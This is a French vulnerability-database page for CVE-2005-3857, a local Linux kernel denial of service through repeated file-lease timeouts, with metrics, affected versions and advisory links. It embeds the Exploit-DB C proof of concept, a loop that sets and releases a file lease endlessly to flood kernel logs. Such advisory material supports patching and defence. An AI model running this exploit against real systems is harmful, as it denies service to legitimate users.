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CVE-2005-3857 : Détail

CVE-2005-3857

0.04%V3
Local
2005-11-27 20:00 +00:00
2018-10-19 12:57 +00:00
CVE.org
NVD

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

The time_out_leases function in locks.c for Linux kernel before 2.6.15-rc3 allows local users to cause a denial of service (kernel log message consumption) by causing a large number of broken leases, which is recorded to the log using the printk function.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 26648

Date de publication : 2005-11-28 23:00 +00:00
Auteur : Avi Kivity
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/15627/info Linux kernel is susceptible to a local denial-of-service vulnerability. Local attackers may trigger this issue by obtaining numerous file-lock leases, which will consume excessive kernel log memory. Once the leases timeout, the event will be logged, and kernel memory will be consumed. This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and a denial of service for legitimate users. Kernel versions prior to 2.6.15-rc3 are vulnerable to this issue. */ #include <unistd.h> #include <stdlib.h> #include <linux/fcntl.h> int main(int ac, char **av) { char *fname = av[0]; int fd = open(fname, O_RDONLY); int r; while (1) { r = fcntl(fd, F_SETLEASE, F_RDLCK); if (r == -1) { perror("F_SETLEASE, F_RDLCK"); exit(1); } r = fcntl(fd, F_SETLEASE, F_UNLCK); if (r == -1) { perror("F_SETLEASE, F_UNLCK"); exit(1); } } return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.15

Linux>>Linux_kernel >> Version 2.6.0

Linux>>Linux_kernel >> Version 2.6.1

Linux>>Linux_kernel >> Version 2.6.1

Linux>>Linux_kernel >> Version 2.6.1

Linux>>Linux_kernel >> Version 2.6.1

Linux>>Linux_kernel >> Version 2.6.2

Linux>>Linux_kernel >> Version 2.6.2

Linux>>Linux_kernel >> Version 2.6.2

Linux>>Linux_kernel >> Version 2.6.2

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.4

Linux>>Linux_kernel >> Version 2.6.4

Linux>>Linux_kernel >> Version 2.6.4

Linux>>Linux_kernel >> Version 2.6.4

Linux>>Linux_kernel >> Version 2.6.5

Linux>>Linux_kernel >> Version 2.6.5

Linux>>Linux_kernel >> Version 2.6.5

Linux>>Linux_kernel >> Version 2.6.5

Linux>>Linux_kernel >> Version 2.6.6

Linux>>Linux_kernel >> Version 2.6.6

Linux>>Linux_kernel >> Version 2.6.6

Linux>>Linux_kernel >> Version 2.6.6

Linux>>Linux_kernel >> Version 2.6.7

Linux>>Linux_kernel >> Version 2.6.7

Linux>>Linux_kernel >> Version 2.6.7

Linux>>Linux_kernel >> Version 2.6.7

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8.1

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11.1

Linux>>Linux_kernel >> Version 2.6.11.2

Linux>>Linux_kernel >> Version 2.6.11.3

Linux>>Linux_kernel >> Version 2.6.11.4

Linux>>Linux_kernel >> Version 2.6.11.5

Linux>>Linux_kernel >> Version 2.6.11.6

Linux>>Linux_kernel >> Version 2.6.11.7

Linux>>Linux_kernel >> Version 2.6.11.8

Linux>>Linux_kernel >> Version 2.6.11.9

Linux>>Linux_kernel >> Version 2.6.11.10

Linux>>Linux_kernel >> Version 2.6.11.11

Linux>>Linux_kernel >> Version 2.6.11.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12.1

Linux>>Linux_kernel >> Version 2.6.12.2

Linux>>Linux_kernel >> Version 2.6.12.3

Linux>>Linux_kernel >> Version 2.6.12.4

Linux>>Linux_kernel >> Version 2.6.12.5

Linux>>Linux_kernel >> Version 2.6.12.6

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13.1

Linux>>Linux_kernel >> Version 2.6.13.2

Linux>>Linux_kernel >> Version 2.6.13.3

Linux>>Linux_kernel >> Version 2.6.13.4

Linux>>Linux_kernel >> Version 2.6.13.5

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14.1

Linux>>Linux_kernel >> Version 2.6.14.2

Linux>>Linux_kernel >> Version 2.6.14.3

Linux>>Linux_kernel >> Version 2.6.14.4

Linux>>Linux_kernel >> Version 2.6.14.5

Linux>>Linux_kernel >> Version 2.6.14.6

Linux>>Linux_kernel >> Version 2.6.14.7

Linux>>Linux_kernel >> Version 2.6.15

References

http://www.redhat.com/support/errata/RHSA-2006-0140.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/19369
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/18203
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2006-0101.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2006/dsa-1018
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/19607
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/archive/1/428058/100/0/threaded
Tags : vendor-advisory, x_refsource_FEDORA
http://marc.info/?l=linux-kernel&m=113190437101622&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/archive/1/427981/100/0/threaded
Tags : vendor-advisory, x_refsource_FEDORA
http://secunia.com/advisories/18510
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/archive/1/428028/100/0/threaded
Tags : vendor-advisory, x_refsource_FEDORA
http://marc.info/?l=linux-kernel&m=113175851920568&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.trustix.org/errata/2005/0070
Tags : vendor-advisory, x_refsource_TRUSTIX
http://www.mandriva.com/security/advisories?name=MDKSA-2006:072
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.securityfocus.com/bid/15627
Tags : vdb-entry, x_refsource_BID
http://www.debian.org/security/2006/dsa-1017
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/19374
Tags : third-party-advisory, x_refsource_SECUNIA
https://usn.ubuntu.com/231-1/
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/17787
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/17786
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/18562
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2005/2649
Tags : vdb-entry, x_refsource_VUPEN

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